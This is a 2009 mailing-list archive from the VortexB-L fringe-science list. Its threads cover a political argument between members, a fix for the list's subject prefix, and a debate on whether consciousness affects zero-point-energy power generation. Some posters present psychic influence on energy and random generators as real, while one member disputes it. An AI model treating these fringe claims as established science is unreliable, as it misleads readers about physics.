b=kpL+lIQfK+5uTg/qp1E7rboCKigh4jtakMdLdi9wLoKdWZdoWI5ofmkjdDyFC64STB qowidTsNMJB7ICUzUaEhHtuNBv0IX9g+h1jDg4KPqKB+K/BSGao64PTd7ws4STYlPcjS InQMGaYa96FbMK3u20MRQqABT9kQbzfkF7wIM= MIME-Version: 1.0 In-Reply-To: <20090521180408.GD1262@shell.resist.ca> References: <20090521135846.GA1262@shell.resist.ca> <20090521172625.GC1262@shell.resist.ca> <20090521180408.GD1262@shell.resist.ca> Date: Thu, 21 May 2009 13:41:39 -0500 Message-ID: Subject: Re: This is VortexB-L... From: OrionWorks To: grok@resist.ca, vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3997 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 239 >From Grok: > Hey. I came to vortex-l looking for Weird Science. But clearly, in this totalitarian > capitalist system, all thought -- let alone all science -- must (eventually, anyway) > serve the Masters of the Universe. So it's quite natural this all this crap here came > about. > > And history demonstrates well that 'going with the flow' -- as is so often demanded > - -- only allows problems to fester and balloon. So I've made a career of _not_ going > along with the flow. It's the least I can do for my fellow Man. > And it's cost me -- believe me -- in this "democratic" society. > > 'Good' thing that's all about to "change" now. Now we're getting somewhere. So, it would appear that you perceive yourself as a contrarian of sorts. I also gather that it has been your experience (or belief) that "going with the flow" only allows more problems to fester and balloon in the world we live in. I gather it has also been your experience that since you have assumed the role of a dedicated contrarian (for the benefit of humanity) the stance has occasionally cost you dearly. Can you give us an example of something you have paid dearly for? You also mention that good things are about the change now. How so? PS: Just to be clear on this point, and to dispel any speculations you might harbor, my comments were not meant as any kind of direct or indirect criticism of anyone who chooses to live a contrarian life style. Regards Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks From vortexb-l-request@eskimo.com Thu May 21 11:43:16 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4LIhEAY000416; Thu, 21 May 2009 11:43:15 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4LIhEWs000410; Thu, 21 May 2009 11:43:14 -0700 Resent-Date: Thu, 21 May 2009 11:43:14 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-Id: From: Zachary Jones To: vortexb-l@eskimo.com In-Reply-To: <4A158CE8.5020606@lacy.com.ar> Content-Type: multipart/alternative; boundary=Apple-Mail-49-483696604 Subject: Re: PEAR/ ICRL research Mime-Version: 1.0 (Apple Message framework v935.3) Date: Thu, 21 May 2009 11:43:05 -0700 References: <9B160C1D-E318-4B6E-9C8B-32CD4119C1A8@newalexandria.org> <0A87B803-008F-4A08-867B-39AD100EE783@mtaonline.net> <581C89AC-A7BA-4ADF-83C1-57E724E42724@newalexandria.org> <4A158CE8.5020606@lacy.com.ar> X-Mailer: Apple Mail (2.935.3) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3998 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 240 --Apple-Mail-49-483696604 Content-Type: text/plain; charset=ISO-8859-1; format=flowed; delsp=yes Content-Transfer-Encoding: quoted-printable On May 21, 2009, at 10:18 AM, Mauro Lacy wrote: > > Well, assuming the effect is real (as I think it is): > 1) It is very rare, and/or not very powerful actually. Even with miniscule margins, if you "buy low and sell high you make it =20= up in volume" The line for suspending disbelief not on 'superpower mutant people' =20 coming about; but rather pragmatic ZPE power generation being =20 influenced by 4-30% based on consciousness. If I had a method for =20 increasing power plant operation by 4% I'd be emailing you all from =20 wherever in the world I decided to be that week. > 2) We are entering science fiction / anticipation literature here. I'm really not, to reinforce what I'm saying above. > The "classic" line says that only those that are worthy of these =20 > powers, will be able to control them. That is, some kind of built in =20= > self protection, at the ethical level. Of course, the various =20 > anticipation series speculate about an "evil genius" which will be =20 > able to use these powers for bad, but I personally think that a =20 > "technology" like that, although certainly disruptive, will be used =20= > mostly for good. So 'bad guys' could draw down the grid by some fraction? OK, maybe, =20 but the recent work of Radin, et. al. (Radin, D., Lund, N., Emoto, M., =20= Kizu, T. (2008). Effects of distant intention on water crystal =20 formation: A triple-blind replication. Journal of Scientific =20 Exploration, 22(4), 481-493) shows that 'negative' influence to water =20= structure based on intention is cause by ignoring a target. =20 Personally, I don't think there's a 'universally bad juju' but rather =20= a space of [intention force vectors] wherein certain forces may be =20 opposed and thereby cause effects that at the experiential level would =20= be called "bad." Imagine the hero/bad guy thing being more like =20 whether you align with conservatives or progressives. Hypothesize an intention vector space with 6 cardinal positions, and 2 =20= can be considered to be opposing / disruptive to the [coherence / =20 structure] that makes each characteristically what they are. Presume =20= that power transmission (i.e. down distribution lines as we all have =20 now) carries with it the 'signal of intention' that generated it =96 =20 kind of a 'radionics' effect. If my home is powered by electricity =20 generated by intention is the vector-opposite to my values then I and =20= the field of my consciousness would be disrupted. Is this 'part of =20 the deal' for having clean ZPE electricity? > > And particularly regarding the ethical dimension, take into account =20= > that, if these powers really exist and transcend matter, as we are =20 > beginning to see they do, the logical thing to conclude is that "on =20= > other side", from where these powers really come and belong, there =20 > is probably an entire world, with its own rules, hierarchies, =20 > harmony, and of course, ethics. Great. What can you imagine about that place? Pretend you're their =20 ambassador. > I'm personally much more worried about the ethical dimension(or lack =20= > of it, thereof) of everyday science, technology and human affairs, =20 > than about these potential mind powers of the future. This is vortexB, buddy, take that stuff outside.... Zak >>> On May 20, 2009, at 11:00 PM, Zachary Jones wrote: >>> >>>> If zero-point fluctuations are sensitive to consciousness, >>>> >>>> and given the PEAR / ICRL research showing operator influence upon >>>> random-event generators, >>>> >>>> does the advent of ZPE power generation contain an ethics debate? >>>> >>>> Is it reasonable to conjecture a mind-state that generates optimum >>>> power levels? >>>> >>>> Postulating that any strong mind state would increase ZPE power >>>> output, what could be the societal ramifications for choosing >>>> energy providers based on their values? >>>> >>>> >>>> >>>> Thank you, >>>> Zak >>>> >>> --Apple-Mail-49-483696604 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
On May 21, 2009, = at 10:18 AM, Mauro Lacy wrote:

Well, assuming the effect is = real (as I think it is):
1) It is very rare, and/or not very = powerful actually.

Even with = miniscule margins, if you "buy low and sell high you make it up in = volume"

The line for suspending disbelief = not on 'superpower mutant people' coming about; but rather pragmatic ZPE = power generation being influenced by 4-30% based on consciousness. =  If I had a method for increasing power plant operation by 4% I'd = be emailing you all from wherever in the world I decided to be that = week.  

2) We are entering science fiction / anticipation = literature here. 

I'm really = not, to reinforce what I'm saying above.

The "classic" = line says that only those that are worthy of these powers, will be able = to control them. That is, some kind of built in self protection, at the = ethical level. Of course, the various anticipation series speculate = about an "evil genius" which will be able to use these powers for bad, = but I personally think that a "technology" like that, although certainly = disruptive, will be used mostly for = good.

So 'bad guys' could draw = down the grid by some fraction? OK, maybe, but the recent work of Radin, = et. al. (Radin, = D., Lund, N., Emoto, M., Kizu, T. (2008). Effects of distant intention = on water crystal formation: A triple-blind replication. Journal of Scientific = Exploration, 22(4), 481-493) shows that 'negative' influence to water = structure based on intention is cause by ignoring a target. =  Personally, I don't think there's a 'universally bad juju' but = rather a space of [intention force vectors] wherein certain forces may = be opposed and thereby cause effects that at the experiential level = would be called "bad."  Imagine the hero/bad guy thing being more = like whether you align with conservatives or = progressives.

Hypothesize an = intention vector space with 6 cardinal positions, and 2 can be = considered to be opposing / disruptive to the [coherence / structure] = that makes each characteristically what they are.  Presume that = power transmission (i.e. down distribution lines as we all have now) = carries with it the 'signal of intention' that generated it =96 kind of = a 'radionics' effect.  If my home is powered by electricity = generated by intention is the vector-opposite to my values then I and = the field of my consciousness would be disrupted.  Is this 'part of = the deal' for having clean ZPE = electricity?



And particularly regarding the = ethical dimension, take into account that, if these powers really exist = and transcend matter, as we are beginning to see they do, the logical = thing to conclude is that "on other side", from where these powers = really come and belong, there is probably an entire world, with its own = rules, hierarchies, harmony, and of course, = ethics.

Great.  What can you = imagine about that place?  Pretend you're their = ambassador.


I'm personally much more worried = about the ethical dimension(or lack of it, thereof) of everyday science, = technology and human affairs, than about these potential mind powers of = the future.

This is vortexB, buddy, = take that stuff = outside....


Zak


On May 20, =
2009, at 11:00 PM, Zachary Jones wrote:
    
If =
zero-point fluctuations are sensitive to consciousness,

and given the PEAR / ICRL research showing operator influence upon =20
random-event generators,

does the advent of ZPE power generation contain an ethics debate?

Is it reasonable to conjecture a mind-state that generates optimum =20
power levels?

Postulating that any strong mind state would increase ZPE power =20
output, what could be the societal ramifications for choosing =20
energy providers based on their values?



Thank you,
Zak

= --Apple-Mail-49-483696604-- From vortexb-l-request@eskimo.com Thu May 21 12:27:00 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4LJQv5l016820; Thu, 21 May 2009 12:26:57 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4LJQvc5016807; Thu, 21 May 2009 12:26:57 -0700 Resent-Date: Thu, 21 May 2009 12:26:57 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 21 May 2009 12:26:49 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: This is VortexB-L... Message-ID: <20090521192649.GA27687@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521135846.GA1262@shell.resist.ca> <20090521172625.GC1262@shell.resist.ca> <20090521180408.GD1262@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: hostages, Director of National Intelligence, Varshavianka, states rights, combat ability User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3999 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 241 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, OrionWorks mounted the barricade and roared out: > Now we're getting somewhere. > > So, it would appear that you perceive yourself as a contrarian of sorts. (Geeze, here we go... the pondering from On High...) Aren't all revolutionary socialists, who live in a venal capitalist state? > I also gather that it has been your experience (or belief) that > "going with the flow" only allows more problems to fester and balloon > in the world we live in. I gather it has also been your experience > that since you have assumed the role of a dedicated contrarian (for > the benefit of humanity) the stance has occasionally cost you dearly. > > Can you give us an example of something you have paid dearly for? Howsabout jobs. Do they count? Don't tell me you think this is "anomalous" special circumstances, either. Why... apparently you do. > You also mention that good things are about the change now. > > How so? Just read the papers, fella. Such leading questions... Just how insular HAS your life been, anyway? I see you live in 'Lefty' Madison. So far I don't ken that too much of that has rubbed off on you. > PS: Just to be clear on this point, and to dispel any speculations you > might harbor, my comments were not meant as any kind of direct or > indirect criticism of anyone who chooses to live a contrarian life > style. > > Regards > Steven Vincent Johnson > www.OrionWorks.com > www.zazzle.com/orionworks Stop trying to pigeonhole me, fella. There's PLENTY more like me out there. We just don't happen to get on CNN all that often, eh? Except as statistix and cartoon stereotypes. You seem far too smug for your own good, frankly. Maybe the Depression will take some stuffing out of you. And a few others. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoVqvkACgkQXo3EtEYbt3FDgACgzBj0kVD43B36M7CgG1rfd5P3 nvcAoONcM6HoBJgxlg64HFJLnoiZFhNr =ZmQ4 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 21 12:56:24 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4LJuM8M026611; Thu, 21 May 2009 12:56:22 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4LJuMVC026607; Thu, 21 May 2009 12:56:22 -0700 Resent-Date: Thu, 21 May 2009 12:56:22 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=hp9lepa0icKC+IvCW37vwSuF5UJwh++DFBUwpERe6KE=; b=nS+lp4LoXwkFgmpoauKoh8g82ZeOCFgNGW2R8W0dETWTT4Sw5VD9JmxL6yhdFH3lhJ X2Q1ETN80Ck4s3RxMDRPsq3C1UL5uSpEiZMYjbOauuP3D729Tca1+5XcbuVKTk3Wu/A5 9KMfrJlFL9fuhN13bERxvCoJXZCF7h4qhtGys= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=Ooo70oXFFFiE6YI8nlNVzrAuflrRwvHXa86oEIdLIF5EBMKSWCfnbYPCqBXfKmdyO9 B+zFxTolOO6lWrMwao0dptN+YeGxG2Ogjd13vxcGjBLCTYUCNGTPFi0+BTnRYIpv02A2 R5ukXWbmj76Zh0KhxKJl6omvGWgzCLHIgu6Wg= MIME-Version: 1.0 In-Reply-To: <20090521192649.GA27687@shell.resist.ca> References: <20090521135846.GA1262@shell.resist.ca> <20090521172625.GC1262@shell.resist.ca> <20090521180408.GD1262@shell.resist.ca> <20090521192649.GA27687@shell.resist.ca> Date: Thu, 21 May 2009 14:56:17 -0500 Message-ID: Subject: Re: This is VortexB-L... From: OrionWorks To: grok@resist.ca, vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4000 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 242 How would you like to to talk to you, Grok. Regards Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks From vortexb-l-request@eskimo.com Thu May 21 13:06:17 2009 Received: from ultra7.eskimo.com (IDENT:smartlst@localhost [127.0.0.1]) by ultra7.eskimo.com (8.14.0/8.14.3) with ESMTP id n4LK6Agf012384; Thu, 21 May 2009 13:06:11 -0700 Received: (from smartlst@localhost) by ultra7.eskimo.com (8.14.0/8.12.10/Submit) id n4LK6APG012375; Thu, 21 May 2009 13:06:10 -0700 Resent-Date: Thu, 21 May 2009 13:06:09 -0700 X-Authentication-Warning: ultra7.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authentication-Warning: eskimo.com: billb owned process doing -bs Date: Thu, 21 May 2009 13:06:09 -0700 (PDT) From: William Beaty To: vortexb-l@eskimo.com In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4001 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: This is VortexB-L... Status: RO X-Status: A X-Keywords: X-UID: 243 On Thu, 21 May 2009, OrionWorks wrote: > I noticed that there doesn't appear to be something equivalent to a > "[VO]" prefix attached to Vortex-B messages. Huh, it's supposed to have one. The config is the same as vortex (except it says [VoB]. Can't see why it doesn't work. (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) William J. Beaty SCIENCE HOBBYIST website billb at amasci com http://amasci.com EE/programmer/sci-exhibits amateur science, hobby projects, sci fair Seattle, WA 206-762-3818 unusual phenomena, tesla coils, weird sci From vortexb-l-request@eskimo.com Thu May 21 13:11:20 2009 Received: from ultra7.eskimo.com (IDENT:smartlst@localhost [127.0.0.1]) by ultra7.eskimo.com (8.14.0/8.14.3) with ESMTP id n4LKBFNC012771; Thu, 21 May 2009 13:11:15 -0700 Received: (from smartlst@localhost) by ultra7.eskimo.com (8.14.0/8.12.10/Submit) id n4LKBFaL012766; Thu, 21 May 2009 13:11:15 -0700 Resent-Date: Thu, 21 May 2009 13:11:15 -0700 X-Authentication-Warning: ultra7.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authentication-Warning: eskimo.com: billb owned process doing -bs Date: Thu, 21 May 2009 13:11:16 -0700 (PDT) From: William Beaty To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4002 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 244 On Thu, 21 May 2009, William Beaty wrote: > Huh, it's supposed to have one. The config is the same as vortex (except > it says [VoB]. Can't see why it doesn't work. Wrong unix file permission! It couldn't read the little "VoB" command. (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) William J. Beaty SCIENCE HOBBYIST website billb at amasci com http://amasci.com EE/programmer/sci-exhibits amateur science, hobby projects, sci fair Seattle, WA 206-762-3818 unusual phenomena, tesla coils, weird sci From vortexb-l-request@eskimo.com Thu May 21 13:18:06 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4LKI3C1018641; Thu, 21 May 2009 13:18:03 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4LKHwnu018589; Thu, 21 May 2009 13:17:58 -0700 Resent-Date: Thu, 21 May 2009 13:17:58 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Eon-Dm: sj1-dm103 X-Eon-Sig: AQLjws5KFbb1956n2wIAAAAB,cc1ecb372774fd51df221a87eed17d27 Mime-Version: 1.0 (Apple Message framework v753) In-Reply-To: <581C89AC-A7BA-4ADF-83C1-57E724E42724@newalexandria.org> References: <9B160C1D-E318-4B6E-9C8B-32CD4119C1A8@newalexandria.org> <0A87B803-008F-4A08-867B-39AD100EE783@mtaonline.net> <581C89AC-A7BA-4ADF-83C1-57E724E42724@newalexandria.org> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Horace Heffner Date: Thu, 21 May 2009 12:17:52 -0800 To: vortexb-l@eskimo.com X-Mailer: Apple Mail (2.753) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4003 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: PEAR/ ICRL research Status: RO X-Status: X-Keywords: X-UID: 245 On May 21, 2009, at 8:31 AM, Zachary Jones wrote: > I wouldn't have thought Vortex-L was the domain of consciousness- > related aspects of the question - which was the real focus of it. The subject as I understand it involves (a) energy, specifically ZPE, and (b) anomalies according to conventional physics. > > The kind of hysteresis you write about in the linked paper is well- > known, Yes of course hysteresis is well known. What I wrote about is the method used by the project to *correct* for hysteresis in REG devices. > and causes a drift in the baseline data. This is just wrong. External variable may cause drift in hysteresis, but hysteresis itself is due to fundamental device characteristics. It is difficult to impossible to select from a 0 or 1 with exactly 50/50 probability due to inherent device hysteresis in typical devices used to generate random pads. > Statistical methods correct for this hysteresis / drift > specifically by using it as a baseline, thus factoring the drift > into calculations of operator-induced deviation. In REG devices, > thermal regulation and EM shielding of the circuit provides the > primary mechanism for reduction of drift over very long > timescales. I didn't see your paper identify any 'whitening' > methods used by PEAR / ICRL on their REGs - I've never heard of any > data adjustment being done. Maybe Roger did in his Noosphere work? I noted the patent on which my comments were based: http://patft.uspto.gov/netacgi/nph-Parser? Sect1=PTO1&Sect2=HITOFF&d=PALL&p=1&u=%2Fnetahtml%2FPTO% 2Fsrchnum.htm&r=1&f=G&l=50&s1=5,830,064.PN.&OS=PN/5,830,064&RS=PN/ 5,830,064 http://tinyurl.com/o5262h It is specifically aimed at SEG devices. > > Regarding randomness, though, PEAR personnel also did research with > pseudo-random generators. That is an absurd thing to do! Every pseudo-random number generated is fully predictable in advance. > They found the output much more 'clouded' and effects, if present, > were just on the edge of statistical significance. Even though all > agreed that the data showed too much variance for useful > instrumentation, the effect was still seen despite the 'wash' of > the unregulated number generation circuit. So the statement that a > sources is invalid because it's "not truly random" may be only > relevant insomuch as it makes measurement too difficult. > > > As the PEAR / ICRL work is well documented at their site and in > journals, my focus remains on the ethical dimension of the question > > > Zak My point was that there must actually be an effect before it has any moral implications. Even if you assume there is such an effect, the moral issues are similar to those surrounding the use of solar power. Unless the use becomes so pervasive that the earth's albedo is significantly modified, there is nothing inherently wrong with use of solar power. It is the *application* of solar power that can be of moral concern, e.g. executing your neighbors by electrocution powered by the sun. It thus strikes me that there is no inherent moral question involved in the psychic use of ZPE, only the application to which such use is applied. I expect to unsubscribe shortly. Best regards, Horace Heffner http://www.mtaonline.net/~hheffner/ From vortexb-l-request@eskimo.com Thu May 21 13:20:05 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4LKK1MG005239; Thu, 21 May 2009 13:20:01 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4LKK0iV005224; Thu, 21 May 2009 13:20:00 -0700 Resent-Date: Thu, 21 May 2009 13:20:00 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f References: To: vortexb-l@eskimo.com Date: Thu, 21 May 2009 16:19:36 -0400 X-AOL-IP: 205.188.169.201 In-Reply-To: X-MB-Message-Source: WebUI MIME-Version: 1.0 From: fznidarsic@aol.com X-MB-Message-Type: User Content-Type: multipart/alternative; boundary="--------MB_8CBA86898C7F5F9_968_E4A_FWM-M27.sysops.aol.com" X-Mailer: AOL Webmail 42951-STANDARD Message-Id: <8CBA86898BE6CA1-968-6C5@FWM-M27.sysops.aol.com> X-Spam-Flag: NO Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4004 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:unsubscribe Status: RO X-Status: X-Keywords: X-UID: 246 ----------MB_8CBA86898C7F5F9_968_E4A_FWM-M27.sysops.aol.com Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset="us-ascii" -----Original Message----- From: William Beaty To: vortexb-l@eskimo.com Sent: Thu, 21 May 2009 4:11 pm Subject: Re: [VoB]:Re: This is VortexB-L... On Thu, 21 May 2009, William Beaty wrote: > Huh, it's supposed to have one. The config is the same as vortex (except > it says [VoB]. Can't see why it doesn't work. Wrong unix file permission! It couldn't read the little "VoB" command. (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) William J. Beaty SCIENCE HOBBYIST website billb at amasci com http://amasci.com EE/programmer/sci-exhibits amateur science, hobby projects, sci fair Seattle, WA 206-762-3818 unusual phenomena, tesla coils, weird sci ----------MB_8CBA86898C7F5F9_968_E4A_FWM-M27.sysops.aol.com Content-Transfer-Encoding: 7bit Content-Type: text/html; charset="us-ascii"


-----Original Message-----
From: William Beaty <billb@eskimo.com>
To: vortexb-l@eskimo.com
Sent: Thu, 21 May 2009 4:11 pm
Subject: Re: [VoB]:Re: This is VortexB-L...

On Thu, 21 May 2009, William Beaty wrote:
> Huh, it's supposed to have one.   The config is the same as vortex (except
> it says [VoB].   Can't see why it doesn't work.

Wrong unix file permission!   It couldn't read the little "VoB" command.


(((((((((((((((((( ( (  (   (    (O)    )   )  ) ) )))))))))))))))))))
William J. Beaty                            SCIENCE HOBBYIST website
billb at amasci com                         http://amasci.com
EE/programmer/sci-exhibits   amateur science, hobby projects, sci fair
Seattle, WA  206-762-3818    unusual phenomena, tesla coils, weird sci
----------MB_8CBA86898C7F5F9_968_E4A_FWM-M27.sysops.aol.com-- From vortexb-l-request@eskimo.com Thu May 21 13:27:53 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4LKRoZF020963; Thu, 21 May 2009 13:27:51 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4LKRoMb020955; Thu, 21 May 2009 13:27:50 -0700 Resent-Date: Thu, 21 May 2009 13:27:50 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 21 May 2009 13:27:43 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090521202742.GF27687@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521135846.GA1262@shell.resist.ca> <20090521172625.GC1262@shell.resist.ca> <20090521180408.GD1262@shell.resist.ca> <20090521192649.GA27687@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: hostages, Director of National Intelligence, Varshavianka, states rights, combat ability User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <4AM_bC.A.THF.GlbFKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4005 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: This is VortexB-L... Status: RO X-Status: X-Keywords: X-UID: 247 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, OrionWorks mounted the barricade and roared out: > How would you like to to talk to you, Grok. Howsabout with the lack of condescension, implied or otherwise? I guess this here is about the best that can be expected, under the circumstances... (sigh) If we're still talking politix then, the first thing would be to accept that this is not a 'personality issue' -- howevermuch that is the favorite slant of those who defend any status quo. Therefore some people need to accept that any such discussion here(sic) actually and truly reflects real issues in the society at large. But I think those people on vortex-l have problems with that (however not with their own pet peeves and projects, of course). As I keep pointing out: politix does indeed have EVERYTHING to do with what Science, 'fringe science' -- and with what vortex-l is/are. And only the beneficiaries of a status quo profit from keeping all that out of the equation. Of course, when festering contradictions never get resolved in a society which refuses to advance, of course the endless strife only ends up wrecking things. Such is [class] war. And so it becomes its own excuse for not resolving matters. As we've just witnessed here. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoVuT4ACgkQXo3EtEYbt3FJsACgvCcy5dilsphfkCCPLwylHDPb HJ8AoN46WSOXNM1apF7FRvQc3AupZN0m =2I4s -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 21 13:30:55 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4LKUo0v021640; Thu, 21 May 2009 13:30:50 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4LKUoKN021635; Thu, 21 May 2009 13:30:50 -0700 Resent-Date: Thu, 21 May 2009 13:30:50 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 21 May 2009 13:30:37 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:unsubscribe Message-ID: <20090521203037.GG27687@shell.resist.ca> Reply-To: grok@resist.ca References: <8CBA86898BE6CA1-968-6C5@FWM-M27.sysops.aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <8CBA86898BE6CA1-968-6C5@FWM-M27.sysops.aol.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 